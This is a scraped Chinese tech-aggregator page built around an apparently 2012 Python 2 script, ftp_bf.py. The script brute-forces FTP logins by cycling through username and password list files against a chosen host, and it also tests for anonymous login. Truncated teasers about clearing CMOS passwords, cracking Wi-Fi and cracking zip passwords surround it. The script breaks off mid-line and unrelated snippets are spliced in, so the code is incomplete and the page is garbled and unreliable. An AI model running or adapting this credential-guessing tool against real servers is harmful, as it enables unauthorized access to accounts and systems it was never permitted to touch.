电脑设置密码锁屏
许多用户将在使用计算机时为自己的计算机设置锁定屏幕密码,因此可以保护用户的隐私或其他人看到一些信息。那么我们如何设置它?让我们在小编来看看你!操作方法1.单击“开始”菜单,然后单击“设置”。2,单击“...
2024.11.220x01
FTP暴力破解脚本
Default
#!/usr/bin/env python
#-*-coding = utf-8-*-
#author:@xfk
#blog:@blog.sina.com.cn/kaiyongdeng
#date:@2012-05-08
import sys, os, time
from ftplib import FTP
docs = """
[*] This was written for educational purpose and pentest only. Use it at your own risk.
[*] Author will be not responsible for any damage!
[*] Toolname : ftp_bf.py
[*] Coder :
[*] Version : 0.1
[*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
"""
if sys.platform == ‘linux‘ or sys.platform == ‘linux2‘:
clearing = ‘clear‘
else:
clearing = ‘cls‘
os.system(clearing)
R = "\033[31m";
G = "\033[32m";
Y = "\033[33m"
END = "\033[0m"
def logo():
print G+"\n |---------------------------------------------------------------|"
print " | |"
print " | blog.sina.com.cn/kaiyongdeng |"
print " | 08/05/2012 ftp_bf.py v.0.1 |"
print " | FTP Brute Forcing Tool |"
print " | |"
print " |---------------------------------------------------------------|\n"
print " \n [-] %s\n" % time.strftime("%X")
print docs+END
def help():
print R+"[*]-t, --target ip/hostname Our target"
print "[*]-u, --usernamelist usernamelist usernamelist path"
print "[*]-p, --passwordlist passwordlist passwordlist path"
print "[*]-h, --help help print this help"
print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit(1)
def bf_login(hostname,username,password):
# sys.stdout.write("\r[!]Checking : %s " % (p))
# sys.stdout.flush()
try:
ftp = FTP(hostname)
ftp.login(hostname,username, password)
ftp.retrlines(‘list‘)
ftp.quit()
print Y+"\n[!] w00t,w00t!!! We did it ! "
print "[+] Target : ",hostname, ""
print "[+] User : ",username, ""
print "[+] Password : ",password, ""+END
return 1
# sys.exit(1)
except Exception, e:
pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
sys.exit(1)
def anon_login(hostname):
try:
print G+"\n[!] Checking for anonymous login.\n"+END
ftp = FTP(hostname) ftp.login()
ftp.retrlines(‘LIST‘)
print Y+"\n[!] w00t,w00t!!! Anonymous login successfuly !\n"+END
ftp.quit()
except Exception, e:
print R+"\n[-] Anonymous login failed...\n"+END
pass
def main():
logo()
try:
for arg in sys.argv:
if arg.lower() == ‘-t‘ or arg.lower() == ‘--target‘:
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-u‘ or arg.lower() == ‘--usernamelist‘:
usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-p‘ or arg.lower() == ‘--passwordlist‘:
passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-h‘ or arg.lower() == ‘--help‘:
help()
elif len(sys.argv)
许多用户将在使用计算机时为自己的计算机设置锁定屏幕密码,因此可以保护用户的隐私或其他人看到一些信息。那么我们如何设置它?让我们在小编来看看你!操作方法1.单击“开始”菜单,然后单击“设置”。2,单击“...
2024.11.22如果我们不知道进入CMOS设置程序的密码该怎么办呢?可以打开机箱,将主板上的CMOS电池放电,即可取消密码。也可以将跳线帽短接,也可以取消密码。BIOS CONFIG如果知道进入CMOS设置程序的密码...
2024.11.22早就有实战一次破解无线密码的想法,由于种种原因直到前几天才把想法变成现实。家里虽然无线路由器和无线网卡买了2年左右了,但当时买无线网卡的时候还不知道无线破解这回事,自然不可能考虑后来的BT3,BT4...
2024.11.16随着移动互联网技术的发展以及智能手机的普及,人们对WiFi的需求也越来越大。生活中我们也越来越离不开WiFi,特别是追剧、刷抖音、逛淘宝的时候,流畅的网络让人心情也觉得舒畅。但是,如果你发现视频画面突...
2024.11.22首先,我们新建一个python文件,在该文件目录下加密压缩一个111.txt的文件,压缩后文件名111.zip,密码随便输入4位(后面我们用程序来破解)。然后我们尝试用python去解压它。这里用到z...
2024.11.22